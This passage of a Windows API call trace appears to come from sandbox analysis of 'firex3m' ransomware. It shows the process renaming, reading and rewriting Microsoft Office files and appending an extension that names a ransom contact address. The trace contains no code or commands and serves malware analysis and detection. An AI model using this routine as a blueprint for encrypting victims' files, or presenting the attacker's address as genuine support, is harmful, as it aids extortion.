48 [0145.930] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x37ffcc4 | out: lpFindFileData=0x37ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe415a524, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe415a524, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1ced08ae, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x56ea, dwReserved0=0xc507496, dwReserved1=0x7209190, cFileName="HomeBusinessR_Trial-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="HO22A6~1.FIR")) returned 0x6d5380 [0145.930] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0145.930] Sleep (dwMilliseconds=0x1) [0146.015] SysReAllocStringLen (in: pbstr=0x37fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT_COL.HXT", len=0x45 | out: pbstr=0x37fff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT_COL.HXT") returned 1 [0146.015] GetProcessHeap () returned 0x630000 [0146.015] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x2788) returned 0x71f7c78 [0146.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\powerpnt_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x710 [0146.587] CloseHandle (hObject=0x710) returned 1 [0146.596] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x37fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0146.597] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\powerpnt_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\powerpnt_col.hxt.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0146.597] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x37fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.597] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x37ffc6c | out: lpFindFileData=0x37ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa2f6cec, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa2f6cec, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa31ce71, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="POWERPNT_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~3.FIR")) returned 0x6d5580 [0146.597] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0146.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\powerpnt_col.hxt.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x640 [0146.598] GetProcessHeap () returned 0x630000 [0146.598] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe1) returned 0x717958 [0146.598] GetProcessHeap () returned 0x630000 [0146.598] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe1) returned 0x7183a8 [0146.598] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.598] ReadFile (in: hFile=0x640, lpBuffer=0x717958, nNumberOfBytesToRead=0xc0, lpNumberOfBytesRead=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x717958*, lpNumberOfBytesRead=0x37fff0c*=0xc0, lpOverlapped=0x0) returned 1 [0146.599] GetProcessHeap () returned 0x630000 [0146.599] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee4e0 [0146.600] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.600] WriteFile (in: hFile=0x640, lpBuffer=0x7183a8*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7183a8*, lpNumberOfBytesWritten=0x37fff0c*=0xc0, lpOverlapped=0x0) returned 1 [0146.600] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.600] WriteFile (in: hFile=0x640, lpBuffer=0x718467*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x718467*, lpNumberOfBytesWritten=0x37fff0c*=0x20, lpOverlapped=0x0) returned 1 [0146.600] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.600] WriteFile (in: hFile=0x640, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x37fff0c*=0x4, lpOverlapped=0x0) returned 1 [0146.600] CloseHandle (hObject=0x640) returned 1 [0146.600] GetProcessHeap () returned 0x630000 [0146.600] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7183a8 | out: hHeap=0x630000) returned 1 [0146.600] GetProcessHeap () returned 0x630000 [0146.600] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x717958 | out: hHeap=0x630000) returned 1 [0146.600] GetProcessHeap () returned 0x630000 [0146.600] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee4e0 | out: hHeap=0x630000) returned 1 [0146.600] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x37fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.600] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x37ffcc4 | out: lpFindFileData=0x37ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa2f6cec, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa2f6cec, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1d5389e9, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xf4, dwReserved0=0x37ffd20, dwReserved1=0x717958, cFileName="POWERPNT_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~3.FIR")) returned 0x6d5380 [0146.601] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0146.601] Sleep (dwMilliseconds=0x1) [0147.777] SysReAllocStringLen (in: pbstr=0x37fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHLEX.DAT", len=0x41 | out: pbstr=0x37fff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHLEX.DAT") returned 1 [0147.777] GetProcessHeap () returned 0x630000 [0147.778] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x26bc) returned 0x71f7c78 [0147.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHLEX.DAT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchlex.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e0 [0148.860] CloseHandle (hObject=0x6e0) returned 1 [0148.860] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x37fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0148.902] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHLEX.DAT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchlex.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHLEX.DAT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchlex.dat.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0148.903] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x37fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0148.903] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHLEX.DAT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x37ffc6c | out: lpFindFileData=0x37ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa31ce71, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa31ce71, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xacf29e7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f3978, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSRCHLEX.DAT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PSRCHL~1.FIR")) returned 0x6d5580 [0148.903] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0148.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHLEX.DAT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchlex.dat.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e0 [0148.903] GetProcessHeap () returned 0x630000 [0148.903] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f27730 [0148.904] GetProcessHeap () returned 0x630000 [0148.904] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f32b60 [0148.904] SetFilePointerEx (in: hFile=0x6e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.904] ReadFile (in: hFile=0x6e0, lpBuffer=0x6f27730, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f27730*, lpNumberOfBytesRead=0x37fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0158.081] GetProcessHeap () returned 0x630000 [0158.081] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x71767c8 [0158.081] SetFilePointerEx (in: hFile=0x6e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.082] WriteFile (in: hFile=0x6e0, lpBuffer=0x6f32b60*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f32b60*, lpNumberOfBytesWritten=0x37fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0158.082] SetFilePointerEx (in: hFile=0x6e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.082] WriteFile (in: hFile=0x6e0, lpBuffer=0x6f3df5f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f3df5f*, lpNumberOfBytesWritten=0x37fff0c*=0x20, lpOverlapped=0x0) returned 1 [0158.088] SetFilePointerEx (in: hFile=0x6e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.088] WriteFile (in: hFile=0x6e0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x37fff0c*=0x4, lpOverlapped=0x0) returned 1 [0158.088] CloseHandle (hObject=0x6e0) returned 1 [0158.088] GetProcessHeap () returned 0x630000 [0158.088] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f32b60 | out: hHeap=0x630000) returned 1 [0158.088] GetProcessHeap () returned 0x630000 [0158.088] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f27730 | out: hHeap=0x630000) returned 1 [0158.088] GetProcessHeap () returned 0x630000 [0158.088] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71767c8 | out: hHeap=0x630000) returned 1 [0158.088] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x37fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0158.088] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHLEX.DAT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x37ffcc4 | out: lpFindFileData=0x37ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa31ce71, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa31ce71, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x242c4b42, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1f399c, dwReserved0=0xc507496, dwReserved1=0x6f27728, cFileName="PSRCHLEX.DAT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PSRCHL~1.FIR")) returned 0x6d5400 [0158.089] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0158.089] Sleep (dwMilliseconds=0x1) [0158.093] SysReAllocStringLen (in: pbstr=0x37fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ro\\PowerViewRes.ro.xap", len=0x65 | out: pbstr=0x37fff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ro\\PowerViewRes.ro.xap") returned 1 [0158.093] GetProcessHeap () returned 0x630000 [0158.093] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2b8c) returned 0x707d3d0 [0158.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ro\\PowerViewRes.ro.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\ro\\powerviewres.ro.xap"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c8 [0158.139] CloseHandle (hObject=0x6c8) returned 1 [0158.139] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x37fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0158.139] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ro\\PowerViewRes.ro.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\ro\\powerviewres.ro.xap"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ro\\PowerViewRes.ro.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\ro\\powerviewres.ro.xap.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0158.141] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x37fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0158.141] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ro\\PowerViewRes.ro.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x37ffc6c | out: lpFindFileData=0x37ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15d3adab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15d3adab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15d871e6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4fd7f, dwReserved0=0x73002d, dwReserved1=0x700075, cFileName="PowerViewRes.ro.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d5280 [0158.142] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0158.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ro\\PowerViewRes.ro.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\ro\\powerviewres.ro.xap.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c8 [0158.142] GetProcessHeap () returned 0x630000 [0158.142] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f547f0 [0158.142] GetProcessHeap () returned 0x630000 [0158.142] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f5fc20 [0158.142] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.142] ReadFile (in: hFile=0x6c8, lpBuffer=0x6f547f0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f547f0*, lpNumberOfBytesRead=0x37fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0165.509] GetProcessHeap () returned 0x630000 [0165.509] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7177b78 [0165.509] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.509] WriteFile (in: hFile=0x6c8, lpBuffer=0x6f5fc20*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f5fc20*, lpNumberOfBytesWritten=0x37fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0165.509] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.510] WriteFile (in: hFile=0x6c8, lpBuffer=0x6f6b01f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f6b01f*, lpNumberOfBytesWritten=0x37fff0c*=0x20, lpOverlapped=0x0) returned 1 [0165.511] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.511] WriteFile (in: hFile=0x6c8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x37fff0c*=0x4, lpOverlapped=0x0) returned 1 [0165.511] CloseHandle (hObject=0x6c8) returned 1 [0165.511] GetProcessHeap () returned 0x630000 [0165.511] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f5fc20 | out: hHeap=0x630000) returned 1 [0165.511] GetProcessHeap () returned 0x630000 [0165.511] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f547f0 | out: hHeap=0x630000) returned 1 [0165.512] GetProcessHeap () returned 0x630000 [0165.512] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7177b78 | out: hHeap=0x630000) returned 1 [0165.512] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x37fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0165.512] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ro\\PowerViewRes.ro.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x37ffcc4 | out: lpFindFileData=0x37ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15d3adab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15d3adab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x289aa3bf, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4fda3, dwReserved0=0xc507496, dwReserved1=0x6f547e8, cFileName="PowerViewRes.ro.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d4e40 [0165.512] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0165.513] Sleep (dwMilliseconds=0x1) [0165.525] SysReAllocStringLen (in: pbstr=0x37fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1033\\PowerPivotExcelClientAddIn.rll", len=0x7c | out: pbstr=0x37fff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1033\\PowerPivotExcelClientAddIn.rll") returned 1 [0165.525] GetProcessHeap () returned 0x630000 [0165.525] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2bd4) returned 0x707d3d0 [0165.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1033\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1033\\powerpivotexcelclientaddin.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d4 [0166.795] CloseHandle (hObject=0x6d4) returned 1 [0166.796] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x37fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0166.796] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1033\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1033\\powerpivotexcelclientaddin.rll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1033\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1033\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0171.325] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x37fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0171.326] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1033\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x37ffc6c | out: lpFindFileData=0x37ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf42fef17, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42fef17, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11660, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d53c0 [0171.326] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0171.326] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1033\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1033\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d4 [0171.326] GetProcessHeap () returned 0x630000 [0171.326] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x740fbe0 [0171.327] GetProcessHeap () returned 0x630000 [0171.327] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x741b010 [0171.327] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.327] ReadFile (in: hFile=0x6d4, lpBuffer=0x740fbe0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x740fbe0*, lpNumberOfBytesRead=0x37fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0178.256] GetProcessHeap () returned 0x630000 [0178.256] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318670 [0178.256] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.256] WriteFile (in: hFile=0x6d4, lpBuffer=0x741b010*, nNumberOfBytesToWrite=0xb400, 